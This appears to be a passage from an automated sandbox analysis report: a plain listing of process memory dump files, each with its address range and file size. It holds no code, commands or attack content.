memory/3204-84-0x0000000000400000-0x000000000046C000-memory.dmpFilesize
432KB
-
memory/3352-380-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/3352-357-0x00000000006F0000-0x00000000006F8000-memory.dmpFilesize
32KB
-
memory/3436-453-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4356-413-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4356-451-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4356-415-0x000002039B260000-0x000002039B270000-memory.dmpFilesize
64KB
-
memory/4356-426-0x000002039B260000-0x000002039B270000-memory.dmpFilesize
64KB
-
memory/4408-363-0x00000209DC780000-0x00000209DC790000-memory.dmpFilesize
64KB
-
memory/4408-361-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4408-412-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4464-263-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4464-130-0x000001F152460000-0x000001F152482000-memory.dmpFilesize
136KB
-
memory/4464-119-0x000001F13A120000-0x000001F13A130000-memory.dmpFilesize
64KB
-
memory/4464-117-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4756-2-0x000000001C260000-0x000000001C270000-memory.dmpFilesize
64KB
-
memory/4756-1-0x00007FFEC2540000-0x00007FFEC3001000-memory.dmpFilesize
10.8MB
-
memory/4756-0-0x0000000000F80000-0x00000000015F0000-memory.dmpFilesize
6.4MB
-
memory/4756-12-0x00007FFEC2540000-0x00007FFEC3001000-memory.dmpFilesize
10.8MB
-
memory/4864-112-0x0000000000950000-0x0000000000BCA000-memory.dmpFilesize
2.5MB
-
memory/4864-115-0x000000001C740000-0x000000001C750000-memory.dmpFilesize
64KB
-
memory/4864-308-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4864-260-0x000000001CB50000-0x000000001CD70000-memory.dmpFilesize
2.1MB
-
memory/4864-114-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4864-379-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/4912-382-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/5088-405-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/5088-383-0x000001137B800000-0x000001137B810000-memory.dmpFilesize
64KB
-
memory/5088-410-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/5108-411-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/5108-452-0x00007FFEC1D40000-0x00007FFEC2801000-memory.dmpFilesize
10.8MB
-
memory/5108-447-0x000001B8001D0000-0x000001B8001E0000-memory.dmpFilesize
64KB
-
memory/5108-414-0x000001B8001D0000-0x000001B8001E0000-memory.dmpFilesize
64KB
-
memory/5108-425-0x000001B8001D0000-0x000001B8001E0000-memory.dmpFilesize
64KB